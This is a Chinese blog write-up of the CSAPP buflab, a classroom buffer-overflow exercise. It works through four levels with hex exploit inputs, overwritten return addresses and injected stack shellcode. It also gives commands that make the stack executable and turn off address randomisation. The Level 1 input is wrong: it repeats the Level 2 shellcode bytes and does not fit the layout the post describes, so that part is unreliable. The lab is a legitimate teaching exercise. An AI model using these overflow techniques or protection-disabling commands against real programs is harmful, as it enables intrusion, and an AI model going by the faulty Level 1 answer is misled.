CSAPP buflab

本文详细介绍了如何通过精心构造的输入数据,利用缓冲区溢出漏洞进行攻击,包括设置返回地址、覆盖函数参数及利用恶意代码执行特定任务的过程。文章通过四个不同级别的示例,展示了从简单覆盖返回地址到复杂利用栈上代码执行的技术细节。

level 0

由getbuf中的0x08048fe6 <+6>: lea -0xc(%ebp),%eax可知buf所在的地址为%ebp-0xc,由栈帧的结构可知getbuf中的返回地址保存在%ebp+4中,所以输入16个字节后输入的内容为smoke的地址0x08048e20,输入的内容为64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 20 8e 04 08。

level 1

如同level 0,在%ebp+4(写入fizz的地址0x08048dc0,当推出getbuf函数后%ebp指向源%ebp+8,在fizz中执行完push %ebp后%ebp为源%ebp+4,根据fizz 0x08048dc7 <+7>: mov 0x8(%ebp),%ebx可知,val保存在源%ebp+12,所以在填完fizz的地址后4个字节开始数据cookie的值0x113e5eb1。输入的内容为c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff。

level 2

0x804a1dc为global的地址,buf的地址为0xffffb62c,通过在buf处填入代码,再通过修改eip来使得getbuf return后返回buf处执行代码,其中填充的恶意代码为

movl $0x113e5eb1,0x804a1dc
pushl $0x08048d60
ret

意思为将global的值设为cookie,将bang函数的地址 $0x08048d60压入栈,ret后返回bang函数处执行。
恶意代码地址为buf的地址:0xffffb62c
生成机器代码:

gcc -m32 -c l2_code.S
objdump -d l2_code.o > l2_code.d

l2_code.d中的内容为
00000000 <.text>:
0: c7 05 dc a1 04 08 b1 movl $0x113e5eb1,0x804a1dc
7: 5e 3e 11
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
在l2.txt中填入c7 05 dc a1 04 08 b1 5e 3e 11 68 60 8d 04 08 c3 2c b6 ff ff(为什么执行代码填入顺序和l2_code.d中的一致,而地址却相反?)

执行后发现出现segmentfault,原因时不能执行栈上的代码,解决方案:

 sudo apt-get install execstack
 execstack -s ./bufbomb
 su
 sysctl -w kernel.randomize_va_space=0

level 3

要跳到12行,要满足两个条件(1)local == 0xdeadbeef(2)val==cookie。由于使用了volatile关键字声明local,所以读local会直接从内存中读取而不是寄存器中读取,所以当函数执行完getbuf()返回test时%ebp必须和原来的相同,且getbuf返回cookie。
通过gdb查看test()中ebp的值为0xffffb658,getbuf返回后执行的下一条指令的地址为0x0804901e
插入的恶意代码为:

movl $0x113e5eb1,%eax
movl $0xffffb658,%ebp
pushl $0x0804901e
ret

最后生成l3_code.d中的内容为
Disassembly of section .text:

00000000 <.text>:
0: b8 b1 5e 3e 11 mov $0x113e5eb1,%eax
5: bd 58 b6 ff ff mov $0xffffb658,%ebp
a: 68 1e 90 04 08 push $0x804901e
f: c3 ret
最终的输入为
b8 b1 5e 3e 11 bd 58 b6 ff ff 68 1e 90 04 08 c3 2c b6 ff ff

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值